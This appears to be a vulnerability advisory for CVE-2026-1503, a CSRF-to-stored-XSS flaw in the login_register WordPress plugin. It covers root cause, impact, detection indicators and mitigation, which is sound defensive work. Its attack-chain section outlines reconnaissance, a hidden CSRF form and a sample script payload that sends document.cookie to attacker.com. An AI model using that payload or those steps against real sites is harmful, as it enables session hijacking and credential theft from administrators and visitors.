CVE-2026-1503: 
WordPress vulnerability analysis and mitigation

CVE-2026-1503 is a Cross-Site Request Forgery (CSRF) to Stored Cross-Site Scripting (XSS) vulnerability in the login_register plugin for WordPress. It affects all versions up to and including 1.2.0, stemming from missing nonce validation on the settings page combined with insufficient input sanitization on the login_register_login_post parameter. The vulnerability was published on March 21, 2026, and assigned by Wordfence. It carries a CVSS v3.1 base score of 4.3 (Medium) (Wordfence, Red Hat CVE).

The root cause is a dual weakness: missing nonce validation (CWE-352) on the plugin's settings page, and improper neutralization of input during web page generation (CWE-79) on the login_register_login_post parameter. Because the settings page does not verify a WordPress nonce before processing form submissions, an unauthenticated attacker can craft a malicious HTML page or link that, when visited by a logged-in administrator, silently submits a forged request to update plugin settings with an injected script payload. The stored XSS payload then executes in the browser of any user who subsequently visits the affected page. Vulnerable code is visible in the plugin's source at login_register_admin.php lines 12, 14, and 69 (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to persistently inject arbitrary JavaScript into WordPress pages served to site visitors, enabling session hijacking, credential theft, defacement, or redirection to malicious sites. The integrity impact is limited (Low) with no direct confidentiality or availability impact per the CVSS scoring; however, stored XSS payloads can affect all users visiting the injected page, potentially escalating to account takeover if administrator cookies are captured. The attack requires social engineering an administrator but, once the payload is stored, affects all subsequent visitors without further attacker interaction (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1503 as of the available data. The EPSS score is approximately 0.012% (0.000120), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires tricking an administrator into clicking a crafted link, which raises the practical bar for mass exploitation (Wordfence).

1. Reconnaissance: Identify WordPress sites running the login_register plugin version ≤ 1.2.0 using tools like WPScan or by checking /wp-content/plugins/login-register/ for version metadata.
2. Craft CSRF payload: Create a malicious HTML page containing a hidden form that submits a POST request to the target site's plugin settings endpoint (e.g., wp-admin/options-general.php?page=login_register) with the login_register_login_post parameter set to a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Social engineer the administrator: Deliver the malicious page URL to a logged-in WordPress administrator via phishing email, comment, or other channel, inducing them to click the link.
4. Payload stored: The forged request bypasses nonce validation and saves the XSS payload into the plugin's settings in the WordPress database.
5. XSS execution: Any user (including other administrators or site visitors) who accesses the affected login/register page triggers the stored script, which executes in their browser context, enabling session theft or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing unexpected POST requests to wp-admin/options-general.php?page=login_register from unusual IP addresses or referrers, particularly with encoded script tags in POST body parameters.
• Database: The login_register_login_post option in the WordPress wp_options table containing <script>, javascript:, or other XSS payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting the login/register page, potentially indicating active XSS payload execution.
• File System: No direct file-system artifacts expected, as the payload is stored in the database rather than the file system.

WordPress site administrators should update the login_register plugin to a version beyond 1.2.0 that includes nonce validation and proper input sanitization/output escaping. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, administrators should review the login_register_login_post value in wp_options for any injected scripts and sanitize it if found. Restricting access to the WordPress admin area via IP allowlisting can reduce the attack surface (Wordfence).